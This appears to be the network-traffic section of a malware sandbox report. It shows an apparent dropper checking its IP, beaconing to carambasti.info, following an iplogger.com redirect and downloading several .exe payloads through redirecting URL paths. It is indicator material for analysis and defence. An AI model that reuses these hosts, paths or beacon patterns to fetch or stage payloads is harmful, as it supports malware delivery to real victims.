Network Analysis

GET /ip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sun, 09 Jul 2023 23:02:30 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: keep-alive vary: Accept-Encoding Cache-Control: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mdq8%2FdiJDI7aXRtMsDIEqg7CvNaOXLTL5DDVmCLTEAEC1goctmQjMhFBJR28rDecaxCFA8lDUNpArsOIKDv7ya1bI8GdeNAqNVhSSnsTl9hVVl0RA8wQ1nRxAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 7e4431e63e7c0a56-KIX alt-svc: h3=":443"; ma=86400

GET /ip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sun, 09 Jul 2023 23:02:41 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: keep-alive vary: Accept-Encoding Cache-Control: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Yvm3b%2FkuSw6ygFVeLPPNPEuARTdGHP89xCUr3LFY1oUyD18L8Z%2FMRyA0lZKkIeG6rI%2F27D9Is5Ewj6C7qYWG%2Fjwh6MyexLE9xW2bfEBFQGo0E9oA8bFPmoLGYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 7e44322aad0d8314-KIX alt-svc: h3=":443"; ma=86400

GET /stat_os.php HTTP/1.1 User-Agent: Installed OK 1.0/3 Host: carambasti.info

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

GET /stats.php?company_id=1&lua=user HTTP/1.1 User-Agent: Installed OK 1.0/3 Host: carambasti.info

HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive location: https://iplogger.com/1SC8X4

GET /wp-content/uploads/2021/10 HTTP/1.1 User-Agent: Installed OK 1.0/3 Host: carambasti.info

HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:21 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 267 Location: http://carambasti.info/function/v2tmp/useruploadetfilesun.php Connection: keep-alive

GET /function/v2tmp/useruploadetfilesun.php HTTP/1.1 User-Agent: Installed OK 1.0/3 Host: carambasti.info Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:22 GMT Content-Type: application/octet-stream Content-Length: 2342912 Connection: keep-alive Content-Disposition: attachment; filename=file.exe

GET /wp-content/uploads/2019/10 HTTP/1.1 User-Agent: Install Soft Solutions 1.0/3 Host: carambasti.info

HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:34 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 259 Location: http://carambasti.info/function/v2tmp/reporozofnc.php Connection: keep-alive

GET /function/v2tmp/reporozofnc.php HTTP/1.1 User-Agent: Install Soft Solutions 1.0/3 Host: carambasti.info Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:35 GMT Content-Type: application/octet-stream Content-Length: 1849856 Connection: keep-alive Content-Disposition: attachment; filename=dfileqsq.exe

GET /wp-content/uploads/2020/02 HTTP/1.1 User-Agent: Install Soft Solutions 1.0/3 Host: carambasti.info

HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:53 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 256 Location: http://carambasti.info/function/v2tmp/usmalber.php Connection: keep-alive

GET /function/v2tmp/usmalber.php HTTP/1.1 User-Agent: Install Soft Solutions 1.0/3 Host: carambasti.info Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:53 GMT Content-Type: application/octet-stream Content-Length: 305152 Connection: keep-alive Content-Disposition: attachment; filename=DunesMultiMedia.exe

GET /v2/doward.exe HTTP/1.1 User-Agent: Os_twflus Host: carambasti.info

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 09 Jul 2023 23:02:54 GMT Content-Type: application/x-msdos-program Content-Length: 1036800 Connection: keep-alive Last-Modified: Sun, 09 Jul 2023 22:39:42 GMT ETag: "fd200-600158abf981d" Accept-Ranges: bytes